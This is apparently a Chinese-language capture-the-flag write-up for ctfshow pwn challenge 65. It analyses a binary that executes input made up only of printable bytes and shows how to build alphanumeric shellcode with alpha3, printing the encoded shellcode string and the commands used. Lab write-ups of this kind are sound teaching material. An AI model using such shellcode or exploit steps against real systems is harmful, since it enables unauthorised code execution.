ctfshow65
1 | Arch: amd64-64-little |
64位,开启PIE,完全开启RELRO,Has RWX segments
ida:无法反编译,借助ai理解一下代码
汇编代码
1.jl (Jump if Less)
1 | cmp eax, ebx |
如果 eax < ebx,则跳转到 loc_1234
2.jg (Jump if Greater)
1 | cmp eax, ebx |
如果 eax > ebx,则跳转到 loc_1234
3.jle (Jump if Less or Equal)
1 | cmp eax, ebx |
如果 eax <= ebx,则跳转到 loc_1234
4.jmp (Jump)
1 | jmp loc_1234 |
无论条件如何,都会跳转到 loc_1234
5.cmp (Compare)
1 | cmp eax, ebx |
比较 eax 和 ebx 的大小,并根据结果设置标志位
6.cdqe、movzx
1 | cdqe |
这个实在看不懂,粘一下师傅们的解释
cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低8位大致就是将我们输入的字符串每一位进行比较
1 | main: |
提示用户输入:
使用 _write 函数向标准输出打印提示信息 "Input you Shellcode\n"。
读取用户输入:
使用 _read 函数从标准输入读取用户输入的数据,存储到缓冲区 buf 中。
var_8 存储了 _read 的返回值,表示实际读取的字节数。
检查输入长度:
如果 var_8 > 0,表示用户输入了数据,程序跳转到 loc_11AC。
如果 var_8 <= 0,表示用户没有输入任何内容,程序直接返回
1 | loc_11AC: |
初始化索引:
在 loc_11AC,程序将 var_4 初始化为 0。
循环检查输入内容:
在 loc_11B8,程序逐字节检查用户输入的内容:
如果字节值在 [0x2F, 0x5A] 或 [0x40, 0x5A] 或 [0x60, 0x7A] 范围内,程序继续检查下一个字节。
[0x2F, 0x5A]:/到 Z(包括大小写字母和一些符号)
[0x40, 0x5A]:@ 到 Z(主要是大写字母和一些符号)
[0x60, 0x7A]:反引号到 z(主要是小写字母和一些符号)
如果字节值不在上述范围内,程序打印 "Good,but not right" 并返回。
执行用户输入:
如果所有字节都满足条件,程序会将 buf 的地址加载到寄存器 rax 中,并调用 buf。这意味着程序会尝试执行用户输入的内容
这些范围正好是ASSCII码的范围,我们可以直接将shellcode输入到buf,后面程序就会调用,但是输入的shellcode需要是可见字符string.printable
生成可见字符shellcode使用alpha3就可以生成
alpha03
1.生成shellcode
1 | from pwn import * |
2.将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件
1 | python3 sc.py > sc |
3.使用alpha3生成string.printable (这里得用 python2)
1 | python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc" #这里的参数 rax 是需要填入执行 shellcode 的那个寄存器 |
1 | shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t' |

exp:
1 | from pwn import* |